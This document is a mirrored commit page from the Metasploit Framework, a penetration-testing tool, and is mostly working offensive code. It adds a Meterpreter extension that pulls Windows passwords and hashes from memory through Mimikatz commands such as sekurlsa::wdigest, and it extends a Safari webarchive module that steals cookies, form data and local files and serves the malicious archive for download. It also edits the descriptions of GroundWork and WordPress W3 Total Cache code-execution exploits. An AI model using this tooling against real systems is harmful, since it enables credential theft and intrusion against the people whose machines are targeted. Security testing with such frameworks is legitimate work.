1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-12 11:52:01 +01:00
This commit is contained in:
jvazquez-r7 2013-04-30 08:32:24 -05:00
commit a7e4ba5015
9 changed files with 372 additions and 21 deletions

Binary file not shown.

Binary file not shown.

View File

@ -376,9 +376,9 @@ module Exploit::Remote::HttpServer
# Return a full url of the form <tt>http://1.1.1.1:8080/resource/</tt>
#
# The address portion should be something a client would be able to route,
# but see +srvhost_addr+ for caveats.
# but see {#srvhost_addr} for caveats.
#
def get_uri(cli=nil)
def get_uri(cli=self.cli)
ssl = !!(datastore["SSL"])
proto = (ssl ? "https://" : "http://")
if (cli and cli.peerhost)
@ -405,7 +405,7 @@ module Exploit::Remote::HttpServer
end
#
# Return an address to which the client can route.
# An address to which the client can route.
#
# If available, return LHOST which should be the right thing since it
# already has to be an address the client can route to for the payload to
@ -416,28 +416,39 @@ module Exploit::Remote::HttpServer
# bind payload but there's nothing we can do about it.
#
# NOTE: The address will be *incorrect* in the following two situations:
# 1) LHOST is pointed at a multi/handler on some other box.
# 2) SRVHOST has a value of '0.0.0.0', the user is behind NAT, and we're
# 1. LHOST is pointed at a multi/handler on some other box.
# 2. SRVHOST has a value of '0.0.0.0', the user is behind NAT, and we're
# using a bind payload. In that case, we don't have an LHOST and
# the source address will be internal.
#
# This can potentially be dealt with in a module by using the Host header
# from a request if such a header exists.
#
# @return [String]
def srvhost_addr
if (datastore['LHOST'])
if (datastore['LHOST'] and (!datastore['LHOST'].strip.empty?))
host = datastore["LHOST"]
else
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
if (sock and sock.peerhost)
if (respond_to?(:sock) and sock and sock.peerhost)
# Then this is a Passive-Aggressive module. It has a socket
# connected to the remote server from which we can deduce the
# appropriate source address.
host = Rex::Socket.source_address(sock.peerhost)
else
# Otherwise, this module is only a server, not a client, *and*
# the payload does not have an LHOST option. This can happen,
# for example, with a browser exploit using a download-exec
# payload. In that case, just use the address of the interface
# with the default gateway and hope for the best.
host = Rex::Socket.source_address
end
else
host = datastore['SRVHOST']
end
end
host
end
#
@ -1094,10 +1105,14 @@ module Exploit::Remote::HttpServer::PHPInclude
end
#
# Return the PHP include URL (pre-encoded)
# The PHP include URL (pre-encoded)
#
# Does not take SSL into account. For the reasoning behind this, see +exploit+.
# Does not take SSL into account. For the reasoning behind this, see
# {#exploit}.
#
# @return [String] The URL to be used as the argument in a call to
# +require+, +require_once+, or +include+ or +include_once+ in a
# vulnerable PHP app.
def php_include_url(sock=nil)
host = srvhost_addr
if Rex::Socket.is_ipv6?(host)

View File

@ -0,0 +1,118 @@
#!/usr/bin/env ruby
# -*- coding: binary -*-
require 'rex/post/meterpreter/extensions/mimikatz/tlv'
require 'csv'
module Rex
module Post
module Meterpreter
module Extensions
module Mimikatz
###
#
# Mimikatz extension - grabs credentials from windows memory.
#
# Benjamin DELPY `gentilkiwi`
# http://blog.gentilkiwi.com/mimikatz
#
# extension converted by Ben Campbell (Meatballs)
###
class Mimikatz < Extension
def initialize(client)
super(client, 'mimikatz')
client.register_extension_aliases(
[
{
'name' => 'mimikatz',
'ext' => self
},
])
end
def send_custom_command(function, args=[])
request = Packet.create_request('mimikatz_custom_command')
request.add_tlv(TLV_TYPE_MIMIKATZ_FUNCTION, function)
args.each do |a|
request.add_tlv(TLV_TYPE_MIMIKATZ_ARGUMENT, a)
end
response = client.send_request(request)
return Rex::Text.to_ascii(response.get_tlv_value(TLV_TYPE_MIMIKATZ_RESULT))
end
def parse_creds_result(result)
details = CSV.parse(result)
accounts = []
details.each do |acc|
account = {
:authid => acc[0],
:package => acc[1],
:user => acc[2],
:domain => acc[3],
:password => acc[4]
}
accounts << account
end
return accounts
end
def parse_ssp_result(result)
details = CSV.parse(result)
accounts = []
details.each do |acc|
ssps = acc[4].split(' }')
ssps.each do |ssp|
s_acc = ssp.split(' ; ')
user = s_acc[0].split('{ ')[1]
account = {
:authid => acc[0],
:package => acc[1],
:user => user,
:domain => s_acc[1],
:password => s_acc[2],
:orig_user => acc[2],
:orig_domain => acc[3]
}
accounts << account
end
end
return accounts
end
def wdigest
result = send_custom_command('sekurlsa::wdigest')
return parse_creds_result(result)
end
def msv
result = send_custom_command('sekurlsa::msv')
return parse_creds_result(result)
end
def livessp
result = send_custom_command('sekurlsa::livessp')
return parse_creds_result(result)
end
def ssp
result = send_custom_command('sekurlsa::ssp')
return parse_ssp_result(result)
end
def tspkg
result = send_custom_command('sekurlsa::tspkg')
return parse_creds_result(result)
end
def kerberos
result = send_custom_command('sekurlsa::kerberos')
return parse_creds_result(result)
end
end
end; end; end; end; end

View File

@ -0,0 +1,16 @@
# -*- coding: binary -*-
module Rex
module Post
module Meterpreter
module Extensions
module Mimikatz
TLV_TYPE_MIMIKATZ_RESULT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 1)
TLV_TYPE_MIMIKATZ_FUNCTION = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 2)
TLV_TYPE_MIMIKATZ_ARGUMENT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 3)
end
end
end
end
end

View File

@ -0,0 +1,179 @@
# -*- coding: binary -*-
require 'rex/post/meterpreter'
module Rex
module Post
module Meterpreter
module Ui
###
#
# Mimikatz extension - grabs credentials from windows memory.
#
# Benjamin DELPY `gentilkiwi`
# http://blog.gentilkiwi.com/mimikatz
#
# extension converted by Ben Campbell (Meatballs)
###
class Console::CommandDispatcher::Mimikatz
Klass = Console::CommandDispatcher::Mimikatz
include Console::CommandDispatcher
#
# Initializes an instance of the priv command interaction.
#
def initialize(shell)
super
end
#
# List of supported commands.
#
def commands
{
"mimikatz_command" => "Run a custom commannd",
"wdigest" => "Attempt to retrieve wdigest creds",
"msv" => "Attempt to retrieve msv creds (hashes)",
"livessp" => "Attempt to retrieve livessp creds",
"ssp" => "Attempt to retrieve ssp creds",
"tspkg" => "Attempt to retrieve tspkg creds",
"kerberos" => "Attempt to retrieve kerberos creds"
}
end
@@command_opts = Rex::Parser::Arguments.new(
"-f" => [true, "The function to pass to the command."],
"-a" => [true, "The arguments to pass to the command."],
"-h" => [false, "Help menu."]
)
def cmd_mimikatz_command(*args)
if (args.length == 0)
args.unshift("-h")
end
cmd_args = nil
cmd_func = nil
arguments = []
@@command_opts.parse(args) { |opt, idx, val|
case opt
when "-a"
cmd_args = val
when "-f"
cmd_func = val
when "-h"
print(
"Usage: mimikatz_command -f func -a args\n\n" +
"Executes a mimikatz command on the remote machine.\n" +
"e.g. mimikatz_command -f sekurlsa::wdigest -a \"full\"\n" +
@@command_opts.usage)
return true
end
}
unless cmd_func
print_error("You must specify a function with -f")
return true
end
if cmd_args
arguments = cmd_args.split(" ")
end
print client.mimikatz.send_custom_command(cmd_func, arguments)
print_line
end
def mimikatz_request(provider, method)
get_privs
print_status("Retrieving #{provider} credentials")
accounts = method.call
table = Rex::Ui::Text::Table.new(
'Header' => "#{provider} credentials",
'Indent' => 0,
'SortIndex' => 4,
'Columns' =>
[
'AuthID', 'Package', 'Domain', 'User', 'Password'
]
)
accounts.each do |acc|
table << [acc[:authid], acc[:package], acc[:domain], acc[:user], acc[:password]]
end
print_status table.to_s
return true
end
def cmd_wdigest(*args)
method = Proc.new { client.mimikatz.wdigest }
mimikatz_request("wdigest", method)
end
def cmd_msv(*args)
method = Proc.new { client.mimikatz.msv }
mimikatz_request("msv", method)
end
def cmd_livessp(*args)
method = Proc.new { client.mimikatz.livessp }
mimikatz_request("livessp", method)
end
def cmd_ssp(*args)
method = Proc.new { client.mimikatz.ssp }
mimikatz_request("ssp", method)
end
def cmd_tspkg(*args)
method = Proc.new { client.mimikatz.tspkg }
mimikatz_request("tspkg", method)
end
def cmd_kerberos(*args)
method = Proc.new { client.mimikatz.kerberos }
mimikatz_request("kerberos", method)
end
def get_privs
unless system_check
print_status("Attempting to getprivs")
privs = client.sys.config.getprivs
unless privs.include? "SeDebugPrivilege"
print_warning("Did not get SeDebugPrivilege")
else
print_good("Got SeDebugPrivilege")
end
else
print_good("Running as SYSTEM")
end
end
def system_check
unless (client.sys.config.getuid == "NT AUTHORITY\\SYSTEM")
print_warning("Not currently running as SYSTEM")
return false
end
return true
end
#
# Name for this dispatcher
#
def name
"Mimikatz"
end
end
end
end
end
end

View File

@ -32,7 +32,7 @@ class Metasploit3 < Msf::Auxiliary
'Author' => 'joev',
'References' =>
[
# none yet
['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/04/25/abusing-safaris-webarchive-file-format']
],
'DisclosureDate' => 'Feb 22 2013',
'Actions' =>
@ -50,6 +50,8 @@ class Metasploit3 < Msf::Auxiliary
OptString.new('FILENAME', [ true, 'The file name.', 'msf.webarchive']),
OptString.new('URLS', [ true, 'A space-delimited list of URLs to UXSS (eg http//browserscan.rapid7.com/']),
OptString.new('URIPATH', [false, 'The URI to receive the UXSS\'ed data', '/grab']),
OptString.new('DOWNLOAD_PATH', [ true, 'The path to download the webarhive.', '/msf.webarchive']),
OptString.new('URLS', [ true, 'The URLs to steal cookie and form data from.', '']),
OptString.new('FILE_URLS', [false, 'Additional file:// URLs to steal.', '']),
OptBool.new('STEAL_COOKIES', [true, "Enable cookie stealing.", true]),
OptBool.new('STEAL_FILES', [true, "Enable local file stealing.", true]),
@ -143,7 +145,7 @@ class Metasploit3 < Msf::Auxiliary
}.update(opts['Uri'] || {})
proto = (datastore["SSL"] ? "https" : "http")
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
print_status("Data capture URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
if (opts['ServerHost'] == '0.0.0.0')
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
@ -153,6 +155,20 @@ class Metasploit3 < Msf::Auxiliary
@service_path = uopts['Path']
@http_service.add_resource(uopts['Path'], uopts)
# Add path to download
uopts = {
'Proc' => Proc.new { |cli, req|
resp = Rex::Proto::Http::Response::OK.new
resp['Content-Type'] = 'application/x-webarchive'
resp.body = @xml.to_s
cli.send_response resp
},
'Path' => webarchive_download_url
}.update(opts['Uri'] || {})
@http_service.add_resource(webarchive_download_url, uopts)
print_status("Download URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{webarchive_download_url}")
# As long as we have the http_service object, we will keep the ftp server alive
while @http_service
select(nil, nil, nil, 1)
@ -176,9 +192,10 @@ class Metasploit3 < Msf::Auxiliary
# @return [String] contents of webarchive as an XML document
def webarchive_xml
xml = webarchive_header
urls.each_with_index { |url, idx| xml << webarchive_iframe(url, idx) }
xml << webarchive_footer
return @xml if not @xml.nil? # only compute xml once
@xml = webarchive_header
urls.each_with_index { |url, idx| @xml << webarchive_iframe(url, idx) }
@xml << webarchive_footer
end
# @return [String] the first chunk of the webarchive file, containing the WebMainResource
@ -288,8 +305,9 @@ class Metasploit3 < Msf::Auxiliary
# NSKeyedArchiver *a = [[NSKeyedArchiver alloc] initForWritingWithMutableData:data];
# [a encodeObject:response forKey:@"WebResourceResponse"];
def web_response_xml(script)
# this is a binary plist, but im too lazy to write a real encoder.
# ripped this straight out of a safari webarchive save.
# this is a serialized NSHTTPResponse, i'm too lazy to write a
# real encoder so yay lets use string interpolation.
# ripped this straight out of a webarchive save
script['content-length'] = script[:body].length
whitelist = %w(content-type content-length date etag
Last-Modified cache-control expires)
@ -711,7 +729,7 @@ class Metasploit3 < Msf::Auxiliary
end
end
# @return [Array<Array<String>>] list of URLs for remote javascripts that are cacheable
# @return [Array<Array<Hash>>] list of headers returned by cacheabke remote javascripts
def find_cached_scripts
cached_scripts = all_script_urls(urls).each_with_index.map do |urls_for_site, i|
begin
@ -780,6 +798,11 @@ class Metasploit3 < Msf::Auxiliary
"#{proto}://#{myhost}#{port_str}"
end
# @return [String] URL that serves the malicious webarchive
def webarchive_download_url
datastore["DOWNLOAD_PATH"]
end
# @return [Array<String>] of interesting file URLs to steal. Additional files can be stolen
# via the FILE_URLS module option.
def interesting_file_urls

View File

@ -20,8 +20,8 @@ class Metasploit3 < Msf::Exploit::Remote
'Description' => %q{
This module exploits a vulnerability found in GroundWork 6.7.0. This software
is used for network, application and cloud monitoring. The vulnerability exists in
the monarch_scan.cgi, where user controlled input is used in the perl qx function,
which allows any remote authenticated attacker, whatever his privileges are, to
the monarch_scan.cgi where user controlled input is used in the perl qx function.
This allows any remote authenticated attacker, regardless of privileges, to
inject system commands and gain arbitrary code execution. The module has been tested
successfully on GroundWork 6.7.0-br287-gw1571 as distributed within the Ubuntu 10.04
based VM appliance.

View File

@ -17,11 +17,11 @@ class Metasploit3 < Msf::Exploit::Remote
'Name' => 'Wordpress W3 Total Cache PHP Code Execution',
'Description' => %q{
This module exploits a PHP Code Injection vulnerability against Wordpress plugin
W3 Total Cache for version up to and including 0.9.2.8. WP Super Cache 1.2 or older
W3 Total Cache for versions up to and including 0.9.2.8. WP Super Cache 1.2 or older
is also reported as vulnerable. The vulnerability is due to the handling of certain
macros such as mfunc, which allows arbitrary PHP code injection. A valid post ID is
needed in order to add the malicious comment. If the POSTID option isn't specified,
then the module will automatically brute-force one. Also, if anonymous comments
then the module will automatically bruteforce one. Also, if anonymous comments
aren't allowed, then a valid username and password must be provided. In addition,
the "A comment is held for moderation" option on Wordpress must be unchecked for
successful exploitation. This module has been tested against Wordpress 3.5 and